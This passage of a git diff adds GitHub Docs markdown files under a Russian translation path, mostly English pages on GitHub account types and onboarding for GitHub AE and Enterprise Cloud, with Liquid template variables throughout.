href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} support</a>" and "<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} Addendum</a>." +- 50,000 {% data variables.product.prodname_actions %} minutes per month +- 50 GB {% data variables.product.prodname_registry %} storage +- Access control for {% data variables.product.prodname_pages %} sites. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/enterprise-cloud@latest/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." +- A service level agreement for 99.9% monthly uptime +- The option to configure your enterprise for {% data variables.product.prodname_emus %}, so you can provision and manage members with your identity provider and restrict your member's contributions to just your enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." +- The option to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations with an enterprise account. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)." + +{% data reusables.enterprise.about-github-for-enterprises %} + +You can set up a trial to evaluate {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/articles/setting-up-a-trial-of-github-enterprise-cloud)." + +For more information about hosting your own instance of {% data variables.product.prodname_ghe_server %}, including setting up a trial, see "[About {% data variables.product.prodname_ghe_server %}](/enterprise-server/admin/overview/about-github-enterprise-server)." + +## Further reading + +- "[About per-user pricing]({% ifversion not ghec %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing)"{% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} diff --git a/translations/ru-RU/content/get-started/learning-about-github/index.md b/translations/ru-RU/content/get-started/learning-about-github/index.md new file mode 100644 index 000000000000..71efa3126cbe --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/index.md @@ -0,0 +1,33 @@ +--- +title: Знакомство с GitHub +intro: 'Узнайте, как использовать продукты {% data variables.product.company_short %} для оптимизации процесса управления программным обеспечением и совместной работы с другими пользователями.' +redirect_from: + - /articles/learning-about-github + - /github/getting-started-with-github/learning-about-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - CLI + - Mobile + - Desktop + - Security +children: + - /githubs-products + - /about-versions-of-github-docs + - /github-language-support + - /types-of-github-accounts + - /access-permissions-on-github + - /about-github-advanced-security + - /faq-about-changes-to-githubs-plans +ms.openlocfilehash: bc22d744123d54dd38e491a0b5f938150feb0518 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135686' +--- + diff --git a/translations/ru-RU/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/ru-RU/content/get-started/learning-about-github/types-of-github-accounts.md new file mode 100644 index 000000000000..70b4afd8f506 --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/types-of-github-accounts.md @@ -0,0 +1,89 @@ +--- +title: Types of GitHub accounts +intro: 'Accounts on {% data variables.product.product_name %} allow you to organize and control access to code.' +redirect_from: + - /manage-multiple-clients + - /managing-clients + - /articles/what-s-the-difference-between-user-and-organization-accounts + - /articles/differences-between-user-and-organization-accounts + - /articles/types-of-github-accounts + - /github/getting-started-with-github/types-of-github-accounts + - /github/getting-started-with-github/learning-about-github/types-of-github-accounts +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - CLI + - Mobile + - Desktop + - Security +--- + +## About accounts on {% data variables.product.product_name %} + +With {% data variables.product.product_name %}, you can store and collaborate on code. Accounts allow you to organize and control access to that code. There are three types of accounts on {% data variables.product.product_name %}. +- Personal accounts +- Organization accounts +- Enterprise accounts + +Every person who uses {% data variables.product.product_name %} signs into a personal account. An organization account enhances collaboration between multiple personal accounts, and {% ifversion fpt or ghec %}an enterprise account{% else %}the enterprise account for {% data variables.location.product_location %}{% endif %} allows central management of multiple organizations. + +## Personal accounts + +Every person who uses {% data variables.location.product_location %} signs into a personal account. Your personal account is your identity on {% data variables.location.product_location %} and has a username and profile. For example, see [@octocat's profile](https://github.com/octocat). + +Your personal account can own resources such as repositories, packages, and projects. Any time you take any action on {% data variables.location.product_location %}, such as creating an issue or reviewing a pull request, the action is attributed to your personal account. + +{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)." {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %} + +{% tip %} + +**Tip**: Personal accounts are intended for humans, but you can create accounts to automate activity on {% data variables.product.product_name %}. This type of account is called a machine user. For example, you can create a machine user account to automate continuous integration (CI) workflows. + +{% endtip %} + +{% ifversion fpt or ghec %} +Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. For more information, see "[Merging multiple personal accounts](/articles/merging-multiple-user-accounts)." +{% endif %} + +## Organization accounts + +Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once. + +Like personal accounts, organizations can own resources such as repositories, packages, and projects. However, you cannot sign into an organization. Instead, each person signs into their own personal account, and any actions the person takes on organization resources are attributed to their personal account. Each personal account can be a member of multiple organizations. + +The personal accounts within an organization can be given different roles in the organization, which grant different levels of access to the organization and its data. All members can collaborate with each other in repositories and projects, but only organization owners and security managers can manage the settings for the organization and control access to the organization's data with sophisticated security and administrative features. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Keeping your organization secure](/organizations/keeping-your-organization-secure)." + +![Diagram showing that users must sign in to their personal account to access an organization's resources](/assets/images/help/overview/sign-in-pattern.png) + +{% ifversion fpt or ghec %} +Even if you're a member of an organization that uses SAML single sign-on, you will still sign into your own personal account on {% data variables.product.prodname_dotcom_the_website %}, and that personal account will be linked to your identity in your organization's identity provider (IdP). For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %} + +However, if you're a member of an enterprise that uses {% data variables.product.prodname_emus %}, instead of using a personal account that you created, a new account will be provisioned for you by the enterprise's IdP. To access any organizations owned by that enterprise, you must authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +{% endif %} + +You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)." + +{% data reusables.organizations.organization-plans %} + +For more information about all the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)." + +## Enterprise accounts + +{% ifversion fpt %} +{% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} include enterprise accounts, which allow administrators to centrally manage policy and billing for multiple organizations and enable innersourcing between the organizations. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. +{% elsif ghec %} +Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{% elsif ghes or ghae %} +Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.location.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{% endif %} + +## Further reading + +{% ifversion fpt or ghec %} +- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)"{% endif %} +- "[Creating a new organization account](/articles/creating-a-new-organization-account)" +- [Organizing people for successful collaboration](https://vimeo.com/333786093) video in {% data variables.product.company_short %} Resources diff --git a/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-ae.md b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-ae.md new file mode 100644 index 000000000000..0717b20b7652 --- /dev/null +++ b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-ae.md @@ -0,0 +1,83 @@ +--- +title: Getting started with GitHub AE +intro: 'Get started with setting up and configuring {% data variables.product.product_name %} for {% data variables.location.product_location %}.' +versions: + ghae: '*' +--- + +This guide will walk you through setting up, configuring, and managing settings for {% data variables.location.product_location %} on {% data variables.product.product_name %} as an enterprise owner. For more information about {% data variables.product.product_name %}, see "[About {% data variables.product.prodname_ghe_managed %}](/admin/overview/about-github-ae)." + +## Part 1: Setting up {% data variables.product.product_name %} +To get started with {% data variables.product.product_name %}, you can create your enterprise account, initialize {% data variables.product.product_name %}, configure an IP allow list, configure user authentication and provisioning, and manage billing for {% data variables.location.product_location %}. + +### 1. Creating your {% data variables.product.product_name %} enterprise account +You will first need to purchase {% data variables.product.product_name %}. For more information, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). + +{% data reusables.github-ae.initialize-enterprise %} + +### 2. Initializing {% data variables.product.product_name %} +After {% data variables.product.company_short %} creates the owner account for {% data variables.location.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.location.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.location.product_location %}, and configure a support contact for your enterprise members. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)." + +### 3. Restricting network traffic +You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)." + +### 4. Managing identity and access for {% data variables.location.product_location %} +You can centrally manage access to {% data variables.location.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. For more information, see "[About identity and access management for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)." + +### 5. Managing billing for {% data variables.location.product_location %} +Owners of the subscription for {% data variables.location.product_location %} on {% data variables.product.product_name %} can view billing details for {% data variables.product.product_name %} in the Azure portal. For more information, see "[Managing billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)." + +## Part 2: Organizing and managing enterprise members +As an enterprise owner for {% data variables.product.product_name %}, you can manage settings on user, repository, team, and organization levels. You can manage members of {% data variables.location.product_location %}, create and manage organizations, set policies for repository management, and create and manage teams. + +### 1. Managing members of {% data variables.location.product_location %} +{% data reusables.getting-started.managing-enterprise-members %} + +### 2. Creating organizations +{% data reusables.getting-started.creating-organizations %} + +### 3. Adding members to organizations +{% data reusables.getting-started.adding-members-to-organizations %} + +### 4. Creating teams +{% data reusables.getting-started.creating-teams %} + +### 5. Setting organization and repository permission levels +{% data reusables.getting-started.setting-org-and-repo-permissions %} + +### 6. Enforcing repository management policies +{% data reusables.getting-started.enforcing-repo-management-policies %} + +## Part 3: Building securely +To increase the security of {% data variables.location.product_location %}, you can monitor {% data variables.location.product_location %} and configure security and analysis features for your organizations. + +### 1. Monitoring {% data variables.location.product_location %} +You can monitor {% data variables.location.product_location %} with your activity dashboard and audit logging. For more information, see "[Monitoring activity in your enterprise](/admin/monitoring-activity-in-your-enterprise)." + +### 2. Configuring security features for your organizations +{% data reusables.getting-started.configuring-security-features %} + +## Part 4: Customizing and automating work on {% data variables.location.product_location %} +You can customize and automate work in organizations in {% data variables.location.product_location %} with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, and {% data variables.product.prodname_pages %}. + +### 1. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API +{% data reusables.getting-started.api %} + +### 2. Building {% data variables.product.prodname_actions %} +{% data reusables.getting-started.actions %} + +For more information on enabling and configuring {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae)." + +### 3. Using {% data variables.product.prodname_pages %} +{% data reusables.getting-started.github-pages-enterprise %} +## Part 5: Using {% data variables.product.prodname_dotcom %}'s learning and support resources +Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need with {% data variables.product.prodname_dotcom %} Enterprise Support. + +### 1. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %} +You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_managed %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." + +### 2. Learning with {% data variables.product.prodname_learning %} +{% data reusables.getting-started.learning-enterprise %} + +### 3. Working with {% data variables.product.prodname_dotcom %} Enterprise Support +{% data reusables.getting-started.contact-support-enterprise %} diff --git a/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md new file mode 100644 index 000000000000..ad6be77621d9 --- /dev/null +++ b/translations/ru-RU/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md @@ -0,0 +1,220 @@ +--- +title: Getting started with GitHub Enterprise Cloud +intro: 'Get started with setting up and managing your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account.' +versions: + fpt: '*' + ghec: '*' +--- + +This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_ghe_cloud %} account as an organization or enterprise owner. + +{% data reusables.enterprise.ghec-cta-button %} + +## Part 1: Choosing your account type + +{% data variables.product.prodname_dotcom %} provides two types of Enterprise products: + +- **{% data variables.product.prodname_ghe_cloud %}** +- **{% data variables.product.prodname_ghe_server %}** + +The main difference between the products is that {% data variables.product.prodname_ghe_cloud %} is hosted by {% data variables.product.prodname_dotcom %}, while {% data variables.product.prodname_ghe_server %} is self-hosted. + +{% data reusables.enterprise.about-github-for-enterprises %} + +With {% data variables.product.prodname_ghe_cloud %}, you have the option of using {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %} + +If you choose to let your members create and manage their own personal accounts instead, there are two types of accounts you can use with {% data variables.product.prodname_ghe_cloud %}: + +- A single organization account +- An enterprise account that contains multiple organizations + +### 1. Understanding the differences between an organization account and enterprise account + +Both organization and enterprise accounts are available with {% data variables.product.prodname_ghe_cloud %}. An organization is a shared account where groups of people can collaborate across many projects at once, and owners and administrators can manage access to data and projects. An enterprise account enables collaboration between multiple organizations, and allows owners to centrally manage policy, billing and security for these organizations. For more information on the differences, see "[Organizations and enterprise accounts](/organizations/collaborating-with-groups-in-organizations/about-organizations#organizations-and-enterprise-accounts)." + +If you choose an enterprise account, keep in mind that some policies can be set only at an organization level, while others can be enforced for all organizations in an enterprise. + +Once you choose the account type you would like, you can proceed to setting up your account. In each of the sections in this guide, proceed to either the single organization or enterprise account section based on your account type. + +## Part 2: Setting up your account +To get started with {% data variables.product.prodname_ghe_cloud %}, you will want to create your organization or enterprise account and set up and view billing settings, subscriptions and usage. +### Setting up a single organization account with {% data variables.product.prodname_ghe_cloud %} + +#### 1. About organizations +Organizations are shared accounts where groups of people can collaborate across many projects at once. With {% data variables.product.prodname_ghe_cloud %}, owners and administrators can manage their organization with sophisticated user authentication and management, as well as escalated support and security options. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)." +#### 2. Creating or upgrading an organization account + +To use an organization account with {% data variables.product.prodname_ghe_cloud %}, you will first need to create an organization. When prompted to choose a plan, select "Enterprise". For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." + +Alternatively, if you have an existing organization account that you would like to upgrade, follow the steps in "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription)." +#### 3. Setting up and managing billing + +When you choose to use an organization account with {% data variables.product.prodname_ghe_cloud %}, you'll first have access to a [30-day trial](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud). If you don't purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %} before your trial ends, your organization will be downgraded to {% data variables.product.prodname_free_user %} and lose access to any advanced tooling and features that are only included with paid products. For more information, see "[Finishing your trial](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud#finishing-your-trial)." + +Your organization's billing settings page allows you to manage settings like your payment method and billing cycle, view information about your subscription, and upgrade your storage and {% data variables.product.prodname_actions %} minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)." + +Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is a user who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)." + +### Setting up an enterprise account with {% data variables.product.prodname_ghe_cloud %} + +#### 1. About enterprise accounts + +An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.prodname_dotcom %} organizations, including member access, billing and usage and security. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)." + +#### 2. Creating an enterpise account + + {% data variables.product.prodname_ghe_cloud %} customers paying by invoice can create an enterprise account directly through {% data variables.product.prodname_dotcom %}. For more information, see "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)." + + {% data variables.product.prodname_ghe_cloud %} customers not currently paying by invoice can contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact) to create an enterprise account for you. + +#### 3. Adding organizations to your enterprise account + +You can create new organizations to manage within your enterprise account. For more information, see "[Adding organizations to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)." + +Contact your {% data variables.product.prodname_dotcom %} sales account representative if you want to transfer an existing organization to your enterprise account. +#### 4. Viewing the subscription and usage for your enterprise account +You can view your current subscription, license usage, invoices, payment history, and other billing information for your enterprise account at any time. Both enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)." + +## Part 3: Managing your organization or enterprise members and teams with {% data variables.product.prodname_ghe_cloud %} + +### Managing members and teams in your organization +You can set permissions and member roles, create and manage teams, and give people access to repositories in your organization. +#### 1. Managing members of your organization +{% data reusables.getting-started.managing-org-members %} +#### 2. Organization permissions and roles +{% data reusables.getting-started.org-permissions-and-roles %} +#### 3. About and creating teams +{% data reusables.getting-started.about-and-creating-teams %} +#### 4. Managing team settings +{% data reusables.getting-started.managing-team-settings %} +#### 5. Giving people and teams access to repositories, project boards and apps +{% data reusables.getting-started.giving-access-to-repositories-projects-apps %} + +### Managing members of an enterprise account +Managing members of an enterprise is separate from managing members or teams in an organization. It is important to note that enterprise owners or administrators cannot access organization-level settings or manage members for organizations in their enterprise unless they are made an organization owner. For more information, see the above section, "[Managing members and teams in your organization](#managing-members-and-teams-in-your-organization)." + +If your enterprise uses {% data variables.product.prodname_emus %}, your members are fully managed through your identity provider. Adding members, making changes to their membership, and assigning roles is all managed using your IdP. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." + +If your enterprise does not use {% data variables.product.prodname_emus %}, follow the steps below. + +#### 1. Assigning roles in an enterprise +By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. For more information, see "[Roles in an enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)." +#### 2. Inviting people to manage your enterprise +You can invite people to manage your enterprise as enterprise owners or billing managers, as well as remove those who no longer need access. For more information, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)." + +You can also grant enterprise members the ability to manage support tickets in the support portal. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)." +#### 3. Viewing people in your enterprise +To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)." + +## Part 4: Managing security with {% data variables.product.prodname_ghe_cloud %} + +* [Managing security for a single organization](#managing-security-for-a-single-organization) +* [Managing security for an {% data variables.enterprise.prodname_emu_enterprise %}](#managing-security-for-an-enterprise-with-managed-users) +* [Managing security for an enterprise account without {% data variables.enterprise.prodname_managed_users %}](#managing-security-for-an-enterprise-account-without-managed-users) + +### Managing security for a single organization +You can help keep your organization secure by requiring two-factor authentication, configuring security features, reviewing your organization's audit log and integrations, and enabling SAML single sign-on and team synchronization. +#### 1. Requiring two-factor authentication +{% data reusables.getting-started.requiring-2fa %} +#### 2. Configuring security features for your organization +{% data reusables.getting-started.configuring-security-features %} + +#### 3. Reviewing your organization's audit log and integrations +{% data reusables.getting-started.reviewing-org-audit-log-and-integrations %} + +#### 4. Enabling and enforcing SAML single sign-on for your organization +If you manage your applications and the identities of your organization members with an identity provider (IdP), you can configure SAML single-sign-on (SSO) to control and secure access to organization resources like repositories, issues and pull requests. When members of your organization access organization resources that use SAML SSO, {% data variables.product.prodname_dotcom %} will redirect them to your IdP to authenticate. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)." + +Organization owners can choose to disable, enable but not enforce, or enable and enforce SAML SSO. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)" and "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)." +#### 5. Managing team synchronization for your organization +Organization owners can enable team synchronization between your identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)." + +### Managing security for an {% data variables.enterprise.prodname_emu_enterprise %} + +With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other login requirements should be enabled and enforced on your IdP. + +#### 1. Enabling and SAML single sign-on and provisioning in your {% data variables.enterprise.prodname_emu_enterprise %} + +In an {% data variables.enterprise.prodname_emu_enterprise %}, all members are provisioned and managed by your identity provider. You must enable SAML SSO and SCIM provisioning before you can start using your enterprise. For more information on configuring SAML SSO and provisioning for an {% data variables.enterprise.prodname_emu_enterprise %}, see "[Configuring SAML single sign-on for Enterprise Managed Users](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)." + +#### 2. Managing teams in your {% data variables.enterprise.prodname_emu_enterprise %} with your identity provider + +You can connect teams in your organizations to security groups in your identity provider, managing membership of your teams and access to repositories through your IdP. For more information, see "[Managing team memberships with identity provider groups](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)." + +#### 3. Managing allowed IP addresses for organizations in your {% data variables.enterprise.prodname_emu_enterprise %} + +You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.enterprise.prodname_emu_enterprise %}. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)." + +#### 4. Enforcing policies for Advanced Security features in your {% data variables.enterprise.prodname_emu_enterprise %} +{% data reusables.getting-started.enterprise-advanced-security %} + +### Managing security for an enterprise account without {% data variables.enterprise.prodname_managed_users %} +To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization at an enterprise level, and sign up for and enforce GitHub Advanced Security features. + +#### 1. Requiring two-factor authentication and managing allowed IP addresses for organizations in your enterprise account +Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise account use two-factor authentication to secure their personal accounts. Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. + +For more information on enforcing two-factor authentication and allowed IP address lists, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)." +#### 2. Enabling and enforcing SAML single sign-on for organizations in your enterprise account +You can centrally manage access to your enterprise's resources, organization membership and team membership using your IdP and SAM single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. For more information, see "[About identity and access management for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)." + +#### 3. Managing team synchronization +You can enable and manage team synchronization between an identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organizations owned by your enterprise account to manage team membership with IdP groups. For more information, see "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." + +#### 4. Enforcing policies for Advanced Security features in your enterprise account +{% data reusables.getting-started.enterprise-advanced-security %} + +## Part 5: Managing organization and enterprise level policies and settings + +### Managing settings for a single organization +To manage and moderate your organization, you can set organization policies, manage permissions for repository changes, and use organization-level community health files. +#### 1. Managing organization policies +{% data reusables.getting-started.managing-org-policies %} +#### 2. Managing repository changes +{% data reusables.getting-started.managing-repo-changes %} +#### 3. Using organization-level community health files and moderation tools +{% data reusables.getting-started.using-org-community-files-and-moderation-tools %} + +### Managing settings for an enterprise account +To manage and moderate your enterprise, you can set policies for organizations within the enterprise, view audit logs, configure webhooks, and restrict email notifications. +#### 1. Managing policies for organizations in your enterprise account + +You can choose to enforce a number of policies for all organizations owned by your enterprise, or choose to allow these policies to be set in each organization. Types of policies you can enforce include repository management, project board, and team policies. For more information, see "[Setting policies for your enterprise](/enterprise-cloud@latest/admin/policies)." +#### 2. Viewing audit logs, configuring webhooks, and restricting email notifications for your enterprise +You can view actions from all of the organizations owned by your enterprise account in the enterprise audit log. You can also configure webhooks to receive events from organizations owned by your enterprise account. For more information, see "[Reviewing audit logs for your enterprise](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)" and "[Monitoring your enterprise](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise)." + +You can also restrict email notifications for your enterprise account so that enterprise members can only use an email address in a verified or approved domain to receive notifications. For more information, see "[Restricting email notifications for your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)." + +## Part 6: Customizing and automating your organization or enterprise's work on {% data variables.product.prodname_dotcom %} +Members of your organization or enterprise can use tools from the {% data variables.product.prodname_marketplace %}, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and existing {% data variables.product.product_name %} features to customize and automate your work. + +### 1. Using {% data variables.product.prodname_marketplace %} +{% data reusables.getting-started.marketplace %} +### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API +{% data reusables.getting-started.api %} +### 3. Building {% data variables.product.prodname_actions %} +{% data reusables.getting-started.actions %} +### 4. Publishing and managing {% data variables.product.prodname_registry %} +{% data reusables.getting-started.packages %} +### 5. Using {% data variables.product.prodname_pages %} +{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository and publishes a website. You can manage the publication of {% data variables.product.prodname_pages %} sites at the organization level. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" and "[About {% data variables.product.prodname_pages 